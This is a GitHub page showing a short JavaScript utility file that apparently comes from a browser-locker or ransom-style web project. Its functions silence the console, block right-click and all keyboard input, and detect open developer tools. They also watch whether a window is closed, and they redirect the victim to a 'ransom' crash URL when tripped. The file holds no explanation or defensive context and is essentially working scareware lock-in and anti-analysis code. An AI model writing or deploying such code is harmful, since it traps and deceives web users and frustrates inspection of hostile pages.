-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathutils.js
48 lines (43 loc) · 1.16 KB
/
utils.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// Check if window has closed
function detectClose(w) {
const lockerId = crypto.randomUUID();
try {
w.lockerId = lockerId;
} catch {
trap();
}
var timer = setInterval(function () {
// Detect window close
try {
if (w.closed || w.lockerId !== lockerId) throw 'Cant verify window';
} catch {
trap();
}
}, 200);
}
function defence() {
// Prevent console.log
console.log = function() {}
// Prevent Context menu
document.addEventListener('contextmenu', event => event.preventDefault());
// Prevent shortcuts
document.addEventListener('keydown', event => event.preventDefault());
// Prevent Typing
document.addEventListener('keypress', event => event.preventDefault());
// Detect DevTools
var element = new Image();
Object.defineProperty(element, 'id', {
get: function () {
trap();
}
});
requestAnimationFrame(function check() {
console.dir(element);
requestAnimationFrame(check);
});
}
function trap() {
// Only run once
window.trap = () => {};
window.location.href = "https://ransom.ndev.tk/crash/";
}